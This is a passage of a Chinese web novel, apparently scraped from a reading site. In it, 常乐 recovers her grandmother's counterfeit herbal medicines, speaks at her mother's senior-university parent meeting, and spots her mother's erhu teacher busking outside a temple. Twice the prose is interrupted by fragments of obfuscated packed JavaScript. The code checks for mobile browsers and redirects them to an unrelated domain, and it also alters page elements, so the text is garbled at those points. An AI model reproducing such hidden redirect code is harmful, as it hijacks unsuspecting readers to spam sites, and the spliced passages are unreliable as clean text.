一团红黄相间的细丝,应该就是传说中的藏红花吧?另一团黑色的小圆片,也许就是鹿茸?还有那一根根像树根一样的东西,大概是冬虫夏草。那块黑乎乎的板砖,不会就是阿胶吧? 常乐将它们统统塞进羽绒服的口袋。 她重新收拾好地上的垃圾,正要起身,一抬头,就看见易诚站在面前。 他举着透明的雨伞,朝她伸出手,手里拿着个塑料瓶。 “干什么?”常乐一脸懵。 易诚弯下腰,把塑料瓶放到她面前,说:“我家里还有几个空油壶,要不要?” 常乐:???35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585078|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 易诚以为她不好意思,还贴心地说:“你在这儿等着,我回去给你拿。” 说完转身就要走。 “你回来!”常乐站起身,大吼一声,“你是不是觉得自己还挺幽默的?” 易诚回头看着她,眼里闪过一丝困惑。 “你不是来捡瓶子的吗?油壶也能卖,还更值钱。小区里其他人都抢着要呢。” 常乐双手掐腰,气势汹汹地说:“我抢你个巴子!我是在找东西,不是在捡破烂!” 她捡起地上的塑料瓶,走到易诚面前,塞进他怀里,“自己的垃圾自己扔!” 易诚把瓶子扔进垃圾桶,手中的雨伞往常乐上方偏了偏,满脸歉意又忍不住想笑:“不好意思啊,我以为……” 常乐翻了个白眼,懒得搭理他。 视线一转,她忽然瞥见不远处的竹林里有个瘦小的人影,在雨雾中模模糊糊,一晃而过。 再定睛一看,人影就不见了。 ……大概是路人。常乐没放在心上。 回到家,常乐从口袋里掏出一包包战利品,摆放在餐桌上,等候姥姥的表彰。 陈年珍宝失而复得,姥姥喜笑颜开,逐一打开检查。 “哎哟我的藏红花,好多年前买的,一直舍不得喝。” 常乐说:“你倒是喝啊,白白放着不是浪费了?” 她听说有些名贵药材不能久存,所谓“一年宝二年药三年草”,这藏红花放了这么多年,难怪一股子刺鼻的霉味儿。 “我喝这个干什么?这是调理月经用的。”姥姥白了她一眼,“你高中的时候不是月经不调吗?我有次买菜,正好碰到有人在卖这个,就买了一两,花了五十多呢。” 常乐:……五十多?这价格能买到真货吗? 经姥姥一提醒,她忽然想起来了,高三那年学习压力大,月经不规律。有天晚上,姥姥神神秘秘地端来一碗红糖水,说能大补。 红糖水里,漂浮着几根菊瓣一样的细丝。 第二天,她拉了一天。 关键是,那天是月考。第一场考语文,开考不到十分钟,她就举手要上厕所。半个小时后,第二次。一个小时后…… 监考老师都不耐烦了,直接把她卷子收了,还劝她一次性拉完,别耽误后面的考试。 常乐盯着姥姥手里那包红黄丝,眼里渐渐聚起怒火。 就是你个小垃圾,害得我在班里脸面丢尽、还荣获一个“勤屎皇”的称号? 我还辛辛苦苦把你从垃圾桶里救回来? 管你是藏红花还是藏黑花,今天我要把你碾得满地掉渣! 一道铃声乍响,将她瞬间拉回现实。再看到屏幕上的名字,她的复仇之火彻底熄火了。 又忘记接林文娟了。 常乐一边接电话一边换鞋:“哎呀呀路上又堵车了……我马上到!” 在凄风惨雨中等了二十分钟,林文娟的脸色已经阴得能滴出水了。 平息怒火的最好方式,就是迅速转移注意力。 常乐一边开车,一边绘声绘色地讲述自己清理冰箱的雷霆手段。 在听她讲到自己成功挽救家庭财产后,林文娟终于开口:“那什么藏红花、鹿茸、冬虫夏草,都是假货,扔就扔了,你还捡回来,真是多此一举。” “啊?”常乐的笑容凝固在脸上。 “那藏红花,就是染色的萝卜丝,估计还掺了点药粉。鹿茸和冬虫夏草也是路边摊买的,还那么便宜,怎么可能是真的?你姥姥就爱贪小便宜吃大亏。” 常乐张着嘴,愣了好一会,才弱弱地说:“要不,我再找个机会偷偷扔了?” 林文娟点点头:“记得扔远点。” 常乐向她保证:“已经扔得已经够远了,她绝对找不到。” 夜色渐深,姥姥姥爷都睡了。 常乐蹑手蹑脚地走出房间。她打算将那几袋假冒伪劣的药材偷偷藏进房间,明天早上再开车运到城市郊区,彻底毁尸灭迹。 她偷偷摸摸地钻进厨房,打开冰箱,顿时傻眼了—— 下午扔的那些东西,居然又回来了! 大红枣、老干妈、卤豆干、各种瓶瓶罐罐…… 除了那几盘剩饭剩菜已经无力回天,其它的都在原位,仿佛从未离开过。 再打开下层,就连那袋过期六年的水饺,也再度回归。 只是水饺都粘黏成了一团,卖相欠佳,应该是解冻后又被重新冻上了。 真是活见鬼了! 16. 16 第二天一早,一家三口在车里分垃圾。 “老常,这袋你带到单位里扔。”林文娟递给常建民一袋垃圾,又往自己脚边放了一袋,“这袋我带去学校,剩下这袋——” 常乐接过垃圾,“我知道,扔到易诚家门口。” 林文娟扬起手就是一个爆栗。 常乐捂着脑袋,表情狰狞,“开个玩笑而已……” 林文娟斜她一眼,“别老欺负人家。” 送完林文娟和常建民,常乐开着车,在大街上漫无目的地游荡,最后把垃圾甩进了一家酒楼的后巷的垃圾桶里。 她就不信姥姥能找到这里。 回到家,姥姥又发了一通脾气。常乐皮糙肉厚,怎么骂都没用,所以怒火最后都由姥爷承担了。 常乐双手搭在姥爷的肩上,郑重地说:“姥爷,为了全家人的身体健康,你挨点骂又算得了什么?” 姥爷:“……我外孙女可真孝顺啊。” 为了弥补姥爷受伤的小心脏,常乐主动提出要帮他拍视频素材。 这次,姥爷又在网上买了一堆花里胡哨的衣服,常乐一件件看下来,眉头越皱越紧。 她双手撑开一套白西装,表示不解:“这是要干什么?cos肯德基老爷爷吗?” “还有这件。”她拎起一件花花绿绿的外套,一脸嫌弃,“这是谁家的床单吗?” 姥爷解释道:“都是网友推荐的,反正有运费险,不合适就退呗。” 正说着,姥姥在门外爆出一声吼:“乐,过来帮忙!” 常乐走出卧室,见姥姥正在搬墙角的折叠梯,她赶紧上前搭把手。 “要干嘛啊姥姥?” “把窗帘都取下来,今天太阳好,洗衣机脱个水,晒一天就能干。” 姥姥之命,常乐岂敢不从。她乖乖爬上梯.子,取下客厅的窗帘,然后是餐厅的、卧室的…… 一堆窗帘在地上堆成了小山。只塞进两片,洗衣机就超负荷了。 没办法,只能多洗几次了。 趁着洗衣的空档,常乐又回到姥爷的卧室,见他已经换上了那套花花绿绿的套装,站在镜子前整理仪容。 画风诡异又搞笑。 常乐笑得东倒西歪:“姥爷,你穿这种衣服拍视频,不怕留下黑历史吗?” 姥爷扯了扯衣角,自信满满地说:“你懂什么?反差越大越吸睛。” 常乐好不容易才止住笑,说:“姥爷,你要是这么想红,我给花钱买点流量呗。” “这……还没赚钱呢,就要花钱了?” 常乐心想,你买这些衣服,花的钱也不少啊。 她说:“就当是创业前期的投入呗,等你当了网红,就能加倍赚回来啊。” 姥爷有些犹豫:“就没有什么不花钱也能火的方法?” 常乐想了想,提议道:“这样吧,你把名字改成‘苏太强’,打扮成他的模样直播。” 姥爷摇摇头,态度坚决:“那不行,我是有底线的,这种碰瓷的事,我做不出来。” 常乐:“……” 你一个八旬老人,穿着大花袄,跟我谈底线? 有点魔幻了。 “姥爷,你摆几个pose。” 常乐掏出手机,给姥爷拍了几组照片,又打开视频。 正录着,又听到姥姥在门口大喊:“乐儿啊,窗帘晾了吗?” 常乐赶紧跑出去。 窗帘晾到一半,手机铃声响了。这是她为了提醒自己接林文娟设的闹钟。 “姥,我回来继续晾。”她扔下窗帘,拔腿冲到门口,一边换鞋一边抱怨:“这一天天的,啥事都得我干,累死我了!” 常乐没想到,接下来的一周,她每天都处于这种状态—— 早上一起床就得给小奶狗喂奶,然后送林文娟上学,送常建民上班。 白天她在家,一会儿陪姥爷拍视频、剪视频,一会儿帮姥姥做家务,还得见缝插针地给视频取个标题、想个文案。 时间一到又得去接林文娟放学。 晚上还得帮姥爷管理账号,回复评论、投投抖加、买买水军什么的。睡前必须给小奶狗喂奶,否则半夜会被吵醒。 她像只陀螺转个不停,一天下来,累得头昏脑涨,回到房间只想躺着。 周四晚上,常乐趴在床上跟珍姐视频聊天。珍姐羡慕她在家也能赚钱,她掰着指头给她算:“你知道我一天要打几份工吗?四份啊!”她忿忿不平,捶打着枕头,“打四份工就领一份钱,简直比菲佣还惨!” 珍姐苦笑道:“我在家又带娃又做家务又照顾老人,还得挤出时间拍素材剪视频,我也打四份工,可是谁给我发工资呢?” 常乐沉默了。 她有点后悔,不该在挨饿的人面前吃饭吧唧嘴。 珍姐总结道:“所以啊,有这么好的家人,你就知足吧。” 常乐惭愧地笑了笑:“是啊,知足才能常乐嘛。” -- 周五这天,常乐又多了个任务——开家长会。 她一心想着上台发言的事,紧张得都忘了要林文娟加钱。 常乐提前到达老年大学,循着门口的指示牌,找到了开家长会的会议室。 门口有一排长桌。她签了到,领了一沓材料,进会议室找了个后排的位置坐下。 会议室里零零散散地坐了几个人,正前方的大屏幕上,红底黄字写着:家校携手迎期末,关爱老年贺新春。 常乐低头看看手里的材料,什么老年大学的简介、成果展示、下学期的课程设置……她看得饶有兴致。直到台上传来主持人的声音,她才抬起眼。 会议室里已经乌泱泱坐满了人,放眼望去,大爷大妈居多,估计是学员本人或者其配偶。 粗略一数,至少有一百多人。 常乐吓了一跳,心怦怦跳得飞快。 她真的要在这么多人面前发言吗? 是上台还是站在原地?她的稿子在手机里,能照着手机念吗? 主持人说完开场语,掌声雷动,一位西装革履的区领导上台了。 “……我们老年大学,既丰富了老年人的退休生活,又向社会传递了老有所为的正能量……” 他巴拉巴拉说了一堆,常乐听得正认真,猛地想起来——她自己的稿子还没背熟呢。 她赶紧掏出手机,打开备忘录,逐字逐句默念自己的发言稿。 区领导说完了,又上来一位校领导。 校领导下去了,又上来一位教师代表。 教师代表结束发言,又上来一位学员代表…… 四十分钟过去了,常乐背稿已经背得头晕眼花,还得时不时抬头瞅一眼,看看会议进展到哪一步了。 前后左右的大爷大妈们都睡着了。 终于到了激动人心的表彰环节,主持人在台上念奖项,与此同时,大屏幕上滚动播放获奖学员的名单。 “获得2024—2025学年第一学期的优秀学员有,杨建文先生、李秀华女士、林文娟女士。” 听到期待中的名字,常乐心头一喜,急忙掏出手机,给大屏幕拍了张特写,微信发送给林文娟。 她甚至还杵了杵旁边打瞌睡的大爷,提醒他:“林文娟,我妈。” 大爷迷迷糊糊的:“啊?” 常乐指着大屏幕,“优秀学员啊,我妈,嘿嘿。” 大爷:“……哦哦不错不错。” 本以为表彰名单就这么长,没想到,大屏幕上源源不断地滚动—— “学习标兵”有五人,“进步之星”有十人,“体育风尚奖”有五人,“正能量宣传员”有十人…… 名单念完,获奖人数加起来比到场人数还多。 常乐:“……” 这是幼儿园在发小红花吗?主打一个雨露均沾是吧? 管他呢,获奖人数越少,含金量越高。 想到这,常乐又扬起了骄傲的头颅。 名单念完,主持人用饱含激情的声音说道:“接下来,让我们有请东山区教育局副局长、也是我们优秀学员杨建文先生的儿子、杨梦军先生上台发言。” 掌声稀稀拉拉,大部分人都半睡半醒。 第一排一个穿行政夹克的中年男人站起身,从容不迫地走上台,站在话筒前。 常乐呆愣愣地盯着他,心像石头似地往下坠。 坠入胃里,翻涌起一股酸涩,再坠到肚脐眼…… 她把手机熄屏,塞回了口袋里。 -- 家长会开完已经五点多了,一个破会,开了一个半小时,翻来覆去就那么几句话。 常乐挤在散场的人群之中,郁闷地想,还不如让姥姥姥爷来呢。 他们至少睡得香。 文艺汇演在学校东侧的小礼堂。常乐溜达着过去,绕到后台化妆间,一眼就看到了正在化妆镜前吃盒饭的林文娟。 她化了全妆,头发做了个手推波浪卷,羽绒服底下是一身金色旗袍。 “乐宝!”林文娟发现了门口的常乐,冲她招招手,“会开完了?吃了吗?” 常乐扬起笑脸,“还没呢。” “等着,我去给 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常乐没有笑,语气依旧低落:“明明大家都是优秀学员,凭什么只有那个局长儿子能上台?我一介平民就不配发言了吗?” 林文娟愣了下,“就为这事儿啊?”她调侃道,“你要喜欢上台发言,就去当主持人呗。” “我不是这个意思……”常乐撅着嘴,越想越委屈,“我就是觉得,如果我有出息,你也能跟着我沾光……” 林文娟扑哧一笑,揉了揉她的脑袋,“说什么傻话呢?就算你上台发言了,也是沾了我的光啊。” 常乐:“……” 我都这样了,能别打击我了么? 她低着头,闷闷地说:“早知道就不准备发言稿了,白忙活一场。” “还有稿子呢?”林文娟兴致勃勃,“给我看看。” 常乐掏出手机,打开备忘录。 林文娟眯起眼,凑得很近,抱怨道:“字儿太小,看不清。你读一遍吧。” “啊?在这儿吗?”常乐紧张地环视四周,几个大姨在一边吃饭一边闲聊,还有两个在举着手机自拍。 “对啊,就把这里当成领奖台。”林文娟挺直腰背,神色认真,“开始吧。” 常乐只好放下筷子,拿起手机,字正腔圆地念道:“尊敬的各位领导,亲爱的……这段全是废话,跳过。” 她清了清嗓,从第二段开始: “我的妈妈林文娟一直是一个努力上进的人……噫,这一段太肉麻了,跳过。” “别啊。”林文娟急忙道,“就从这段开始。我努力上进,然后呢?” 常乐有些难为情,压低声音念道: “小时候,我每天都会练字帖,她也跟着我练。我原本以为她是为了督促我认真写字,后来才知道,她被一个病人嫌弃字太丑,处方单上的字都看不清,所以她才痛下决心要练字。” 林文娟面露尴尬,“怎么连这种小事都要说?幸好没让你上台,真是羞死了。” 常乐继续念:“几个月后,她就练成了一手标准的行楷,每个病人都夸她的字好看。上初中时,我在家里读英语,她也跟着我读。她说,科室里来了个研究生,英语说得可流利了。医院里来了外国病人,都是她来对接。我妈很羡慕人家,所以也开始学英语……” 林文娟满脸通红,伸手捂住常乐的嘴,“别念了别念了,太尴尬了……” 常乐挣脱她的手,笑嘻嘻地说:“怎么会呢?这些都是你的光荣历史啊。” 她举起手机继续念:“我最佩服我妈的一点,不是她的自律、努力、上进,而是她事事以自己为主。她的生活不是围着我转,她的人生第一顺位永远是她自己。” 林文娟听懵了:“你这是在夸我,还是在骂我啊?” “当然是夸你啦。”常乐冲她眨眨眼,然后,认真地读出最后一段: “我希望能像林文娟女士一样,对世界充满好奇,对生活充满热情。不管处于人生的哪个阶段,永远活在当下,永远在乎自己的感受,永远不缺重新起航的勇气。” 林文娟怔怔地看着她,眼眶微微泛红。 “哎哟,你……”她低下头,抹了抹眼角,“让你随便写几句,你写得这么认真干嘛?只能念给我听,可惜了……” 常乐收起手机,压在心头的沮丧和失落一扫而空。 “这些话,本来就是说给你听的。”她看着林文娟,眼含笑意,“所以啊,一点儿也不可惜。” 17. 17 晚上七点,文艺汇演正式开始。还是同一套流程,同一套班子——主持人开场、区领导讲话、校领导讲话…… 听得人昏昏欲睡。 激情澎湃的大合唱、激情澎湃的诗朗诵……终于听到主持人报幕:“下面请欣赏由二胡班全体学员带来的表演——二胡合奏《步步高》。” 常乐一下子来了精神。 大幕缓缓拉开,小小的舞台上挤挤攘攘地坐了五十多人。女人一律穿金色旗袍,男人清一色的红色长衫。 放眼望去,一片热闹喜庆,整得跟婚礼现场似的。 坐在二胡大军第一排C位的,是个年轻男人,长得白白净净的,戴着半框眼镜,气质温文尔雅。 常乐猜,他应该就是林文娟常念叨的那个“钟大师”。 因为现场唯一一个话筒,就立在他前面。 一开始,常乐还在吐槽,这么多人,就一个话筒,主办方也忒抠了。上一个节目诗朗诵还人手一个话筒呢。 随着一声起调,欢快热闹的音乐声响起。 这首曲子是超市过年的循环曲目之一,其洗脑效果堪比“恭喜你发财,恭喜你精彩”,是个人都能哼哼几句。 所以,连常乐都能听出,这调子不太对劲。 就像被风刮得东倒西歪、晕头转向。 林文娟坐在第二排、钟大师的右后方,她演奏得那叫一个沉浸投入、激情洋溢,上半身还在跟着节奏摇晃,让常乐不禁产生了自我怀疑——没准儿原曲就是这样?超市放的都是盗版? 第一段合奏结束,进入第二段交替演奏,钟大师先独奏一段,大伙儿再合奏一段。 至此,常乐彻底明白了。 这场表演,完全是钟大师在以一己之力对抗跑偏的千军万马啊。 他是怎么忍住不笑场的? 就像是两人对唱,一个人是专业歌手,而另一个是随机挑选的观众,五音不全还自信满满,硬是把一场灾难级表演,整出了喜剧效果。 反正常乐是憋不住。她笑得前仰后合,录视频的手都在抖。 晚会散场后,常乐开车载林文娟回家。 林文娟回看手机里的视频,颇为不满:“你这拍的都是什么啊?晃得我都要吐了。” 常乐抿唇憋笑:“太兴奋了,没忍住嘛。” “哟,”林文娟一脸了然,“看到帅哥太激动了?” 常乐无语地斜她一眼。 林文娟极力推销:“我们钟老师长得帅吧?他是音乐世家出身,还不到三十岁,就拿了好几个全国大奖呢。班里好几个人都想把女儿介绍给他。” 常乐听懂了她的暗示,直截了当说:“你可别把我扯进来。我现在一心想着赚钱,对男人没兴趣。” 林文娟失望地撇了撇嘴。 -- 第二天下午,常乐又驱车前往北湖区老年大学,参加第二场家长会。 这所学校规模较小,只有一栋五层小楼。一楼是老年人活动室,中间几层是教室和办公室,最顶层有一间阶梯教室,晚会就在那里举办。 开家长会的教室在四楼,林文娟早已在里面等候多时了。见到常乐,她兴奋地招了招手。 等常乐坐到旁边,她凑到她耳边,神秘兮兮地说:“我都给你打点好了,今天你作为家属上台发言。” 常乐眼睛一亮:“真的吗?“ 林文娟笑眯眯地说:“对啊,我跟这边的领导关系好,而且我的同学里面也没有谁家孩子是局长。” 常乐:……那我算是捡了个漏? 不管了,反正今天,她就要扬眉吐气一把。 林文娟拍拍她的肩:“我先去排练了,等会你上台之前跟我说一声,我偷溜下来,给你拍视频。” 常乐自信满满:“我办事,你就放心吧。” 不一会儿,教室里就坐满了人。流程跟昨天的差不多,领导们轮番上台,发表讲话。 常乐一边听一边拿着手机默背演讲稿。 终于听到主持人说:“下面,让我们有请家属代表、优秀学员林文娟的女儿常乐上台发言。” 常乐赶紧给林文娟发微信:“快来!” 掌声不够热烈,也许是她的头衔太短,没有某某局长那么有气势,众人似乎对她不抱期待。 常乐无所谓。她雄赳赳气昂昂地踏上讲台,刚调整好话筒高度,就看见后门开了道小缝,林文娟偷偷摸摸地钻了进来,坐到了最后一排。 还举起手,冲她比了个大拇指。 常乐回给她一个自信的笑容。 接下来,她的发挥远超预期。 在提到林文娟的生活趣事时,台下观众脸上都露出了会心的笑容。在夸赞林文娟的美好品质时,观众的掌声也极其配合。 只剩最后一段了。 常乐深吸一口气,慷慨激昂地说:“最后,我要感谢东山区老年大学,让我妈妈在逐梦的道路上不再孤单……” 林文娟嘴角抽搐一下。 台下响起窃窃私语声。 “还要感谢东山区教育局的领导,对老年人的退休生活给予的关怀和帮助……” 第一排几个人开始交头接耳。林文娟已经尴尬得缩进了椅子里。 “全市的老年大学,我妈妈都去试听过,她说东山区老年大学是课程最全、教学水平最高、综合实力最强的……” 台下的议论声越来越大,常乐还沾沾自喜,以为自己马屁拍到位了。 林文娟捂着脸跑路了。 最后,在众人稀稀拉拉的掌声中,常乐走下讲台,内心充满了骄傲。 -- 晚上回到家,常乐回看林文娟给自己录的视频,忍不住抱怨:“你怎么也抖得这么厉害?怎么录到一半就停了?” 林文娟不想打击她,只好强颜欢笑道:“老师打电话让我上去彩排,我就先走了。” “……好吧。”常乐将手机还给她。 她生了会儿闷气,很快重燃斗志:“对了,明天南港区是不是还有一场?我还要上台吗?” “不用!”林文娟脱口而出,又觉得不妥,干笑两声作为掩饰:“哈哈哈,明天让你爸去。你都连着参加两场了,是时候休息一下了。“ “啊?”常乐大失所望,“我不用休息,我状态好着呢。” 常建民在一旁弱弱地插话:“既然乐宝想参加,那就把这个机会让给她吧,我无所谓……” 林文娟斜飞来一记眼刀。 常建民立刻噤声。 林文娟调整好笑容,看向常乐,嘴上说着:“就听我的,明天让你爸去。你在家好好歇着,我放你一天假。” 心里想的却是:北湖区老年大学估计已经把她们母女拉黑名单了,要是再把南港区得罪了,明年她还有学上吗? 常乐闷闷不乐地“哦”了一声,过了会儿,又说:“妈,以后你们学校还有什么亲子活动,一定要让我去。我还想让你给我洗脚呢。” “给、你、洗、脚?”林文娟怀疑自己听错了。 “对啊,就像高中那样。”常乐喜滋滋地说。 高一那年,学校搞了一场感恩教育的活动,不知从哪儿请了位专家,开展了一场声泪俱下的演讲,然后,所有学生都要家长磕头、洗脚,家长还得配合着流几滴眼泪…… 时隔多年,常乐回忆起这场大型表演艺术,依旧尴尬得脚趾抠地。 但是,如果身份互换,她不仅不尴尬,还会得意洋洋地拍视频发朋友圈,并配文:“妈妈终于长大了,知道心疼我了。[感恩][爱心][飞吻]” 她陷入美好的憧憬之中:“除了洗脚,还可以给我揉揉肩、捶捶背,至于磕头就免了,我还不习惯——” 话未说完,林文娟就飞来一记爆栗,并发出一声爆吼: “我磕你马了个巴子!” 常乐捂着后脑勺,痛得龇牙咧嘴。 -- 年关将近,小区大门早早地贴上了对联,沿途的香樟树上都挂上了红灯笼,处处洋溢着喜庆的气氛。 学期结束,林文娟不用再早出晚归去上学,但她又闲不住,所以放假的第二天,她就拉上了常乐去超市买年货。 过年期间,超市的人口密度堪比早高峰的地铁。母女俩推着购物车艰难前行,上上下下,来来回回,终于把年货买齐。 她们又开车去附近的花鸟市场,挑选几盆开得正艳的杜鹃和水仙,连同刚刚买的几大袋年货,整整齐齐地码放在后备箱里。 老城区道路本就狭窄,行人和电瓶车见缝插针,路边各种乱停乱放,更是加剧了拥堵。 从花鸟市场出来,短短一段路,小车走走停停,蠕动了二十分钟,才挤了出来。 主干道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585080|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没好到哪儿去。大家都在龟速行驶,偏偏前面有辆小白车,像泥鳅一样窜来窜去,强行加塞,又不打灯,一公里的路变道了四五次。 常乐几次想骂脏话,又碍于林文娟在旁边,只能在心里默默地骂了句傻吊。 下一秒,就听到“咚”的一声闷响,小白车在变道时被后面一辆越野车给撞了。后面所有的车都被迫停了下来。 常乐幸灾乐祸地大笑起来。 林文娟也挺高兴:“这傻子终于遭报应了,哈哈哈!” 小白车的主驾上下来一个中年男人,留着小平头,梗着脖子,一脸凶相,看上去不是个善茬。 越野车上下来一对男女,都穿着油光锃亮的貂皮大衣,看模样也不好惹。 战火一触即发。 常乐急忙降下车窗,探出脑袋,伸长脖子,恨不得下车近距离观战。 “你还挺爱凑热闹。”林文娟瞥她一眼,也降下了车窗,“他们在吵什么?” 常乐兴高采烈地说:“现在是互喷脏话环节。” 小平头情绪激动,脖子涨得通红,唾沫星子都喷到貂男的脸上了。 貂女也不甘示弱,涂得猩红的指甲戳着小平头的脑袋,一顿点穴加狮吼。 后面的车不耐烦地按起了喇叭。 渐渐地,喇叭声越来越大,此起彼伏,持续不断。 在一片嘈杂中,常乐隐隐听到一缕细细的二胡声,声音清亮,节奏欢快,仿佛在为这场大战配BGM。 她还以为自己连着参加两场晚会,被折磨得出现了幻听。 但林文娟也听到了。她将脑袋探出窗外,东张西望,自言自语道:“我怎么听到有人在拉二胡?” 常乐环视一圈,发现二胡声是从前面的城隍庙飘来的。这座庙历史悠久,在本市颇有名气。红墙古朴,石门厚重,香客们络绎不绝。 红墙根下坐了一排老头,有的银发白须、仙风道骨,有的戴墨镜、穿马褂,估计都是算命的。 在这排老头中,有个年轻人格外抢眼。 他穿一身黑色大衣,端坐在凳子上拉着二胡,旁边还立着一个易拉宝,上面的文字常乐看不清,只看到底下有个硕大的二维码。 “是不是那个人?”常乐捅捅林文娟。 林文娟顺着她指的方向望去,眯起眼睛,轻轻地“咦”了一声。 常乐也发出同样的疑惑:“有点眼熟……是不是在哪儿见过?” 林文娟不太确定:“好像是……我的二胡老师。” “哦,对对对!”常乐记起来了,那个钟大师。 上次见他,他还穿着喜庆的红色长衫,这次的装扮就日常且成熟稳重多了。 不过,此情此景,让常乐不得不往那方面联想—— “你的老师在要饭啊?” 林文娟扬起手拍了她一下,“什么叫要饭?这叫卖艺,跟那些在路边弹吉他唱歌的人一样,都是街头艺术家,懂不懂?” 常乐啧了一声。 在街头弹吉他,听上去还挺浪漫,有种流浪歌手的气质。在庙门口拉二胡,看上去就很命苦,有种瞎子阿炳的遗风。 常乐怂恿她:“你不下去打个招呼?” “打什么打?赶紧走。”林文娟升起车窗,生怕被对方看见,“给他留点面子吧。” 常乐指了指他旁边的易拉宝,“上面有付款码,你要不给他捐点?” 林文娟想了想,稍稍降下车窗,举起手机,放大屏幕。 只可惜,离得太远,扫不出来。 庙门口人来人往,一波又一波路人被二胡声吸引过来,围成半圈,挡住了易拉宝,也遮住了钟老师的身影。 只剩下欢快的二胡声,在马路上飘荡,与喇叭声形成了奇妙的共振。 交警来得很快,肇事车辆被挪到路边,道路终于通畅了。 常乐轻踩油门,缓缓前行。 经过小平头时,她还扬起下巴,冲他咧嘴一笑,满满的嘲讽意味。 小车驶过城隍庙,林文娟还在频频回头,嘀咕道:“好歹是个搞艺术的,怎么沦落到这种地步了?学校是不是拖欠老师的工资啊?真是过分。” 常乐安慰她:“妈,往好处想,学二胡的就业面还挺广。等以后你没钱了,还可以上大街上要饭。” 林文娟面无表情,扬起手,甩出一记爆栗。 18. 18 出生第十二天,小奶狗们陆陆续续地睁眼了。 为此,常乐特地批准了易诚的探视权,允许他带上图图来家里共享亲子时光。 也许是出于护崽的本能,胜宝一见到陌生人靠近狗窝,就龇牙咧嘴,发出阵阵威胁的低吼。 见到图图,她更加暴躁,甚至匍匐在地,摆出进攻的架势。 图图吓得夹紧尾巴,躲在门外,不敢靠前。 易诚有些尴尬,凑近看了小奶狗一眼,就急忙退了出来,生怕惹狗妈生气。 常乐安慰他:“等断奶了就好了,到时候你挑一只最肥的带走。” “真是辛苦你了。”易诚真心实意地说,“小奶狗刚出生的时候最难照顾了。” 常乐摆摆手,表示客套的话不必多说。 姥姥给易诚端了杯茶,热情地招呼道:“晚上就留在家里吃吧,饭都快做好了。” “不用客气了,李婆婆。”易诚拘谨地笑笑,“我就是来看看小狗,待会儿就回去了。” 姥姥满脸笑意:“行,你们聊。” 目送姥姥走进厨房后,易诚才压低声音,对常乐说:“上次你姥姥追出来,硬要把红包还给我,我争不过她,就收了……”他掏出手机,“要不我把钱转你微信?” 常乐回想起那天林文娟在车里说的话,又联想到易诚现在的处境,有些于心不忍。 她大度地说:“算啦,我也就是随口说说,养几只小狗花不了多少钱,你就别放在心上了。” 易诚微微一怔,“那……以后给胜宝做绝育、给小狗打疫苗,你跟我说一声,我带他们去。” 常乐敷衍道:“以后再说吧。” 易诚还是觉得过意不去,想了想,又说:“要不我请你吃饭吧,感谢你把小狗照顾得这么好。” 常乐心里一动。最近家饭吃多了,她确实有点想念外面的野饭了。 “好啊,吃什么?” “你定吧,我都行。” 常乐想起昨天开车经过老街时,她看到有家火锅店生意特别好,大中午的,门口还坐满了等号的人,想必口味肯定不错。 她跟林文娟提议试试这家,林文娟却以“重油重辣重盐,一看就不健康”为由,一口回绝了她。 常乐:“吃火锅吗?” 易诚:“可以啊。” 常乐看一眼手机,已经四点多了,要想不排队,现在就得动身了。 “走吧。” “现在?”易诚有些诧异,指着厨房,“你姥姥不是都做好饭了吗?” 常乐急匆匆地催他:“走啦走啦,家里的饭随时都能吃,外面的可是要排队等很久的!” 现在不走,等姥姥端着菜出来,或者等林文娟下楼,她就走不了了。 两人一狗偷偷摸摸地出了门。 他们在小区里绕了大半圈,把图图送回易诚家后,又朝大门方向走去。 靠近门口有一条长廊,天气好的时候,这里长满了大爷大妈。晒太阳的、打牌的、闲聊的,张家长李家短,各种八卦,在这里汇聚,从这里播散。 堪称小区的情报站。 常乐正要绕道走,远远地听见有人在大声招呼:“噫,常乐,易诚,你们俩怎么走一块儿了?” 常乐头皮一麻,一转头,就看到翠姨那张喜气洋洋的脸。 旁边还站着她的儿子周俊臻。 周俊臻比他俩大三岁,现在在杭城一家大名鼎鼎的大厂工作,据说年薪五十万起步。 翠姨老喜欢炫耀儿子的工作,又不喜欢听别人提“大厂”这个词,每次都要极力纠正:“他们单位啊,福利待遇好着呢……他们单位是上市公司呢……他们单位啊……” 果然,常乐还没走近,就听见她在跟别人吹嘘:“听说他们单位啊,现在只招清北毕业生,连国外回来的都看不上呢,啧啧啧……” 周俊臻面露尴尬,试图阻止她:“妈,别瞎说,没这回事。” “俊臻哥,回啦?”常乐和易诚跟他打招呼,适时地替他解了围。 周俊臻长得挺周正,穿着打扮是标准的理工男风格,不显山不露水的,跟花里胡哨的翠姨完全是两种极端。 他冲两人笑笑,顺着翠姨的话问道:“你俩在一起了?” “没有没有。”常乐赶紧撇清关系,“我们纯洁得很,别乱说。” 要是不及时澄清,明天,不,今天晚上,这个谣言就会通过这座情报站,传遍整个小区。 周俊臻推了推眼镜,笑着说:“我记得你们以前就老在一起玩,现在感情还这么好,真不错。” 常乐惊讶地瞪大眼。 老在一起玩?什么时候的事?还感情好?我跟他从小到大有过感情吗? 易诚也感到费解:“你说的是我们吗?我怎么没印象了。” “对啊。”周俊臻十分笃定,“小时候易诚玩什么,常乐都要跟着学。我记得,有次他在双杠上玩倒挂金钩,常乐非要模仿他,结果摔下来,把门牙都给摔断了。” 常乐:“……” 这跟她的记忆似乎有点出入。 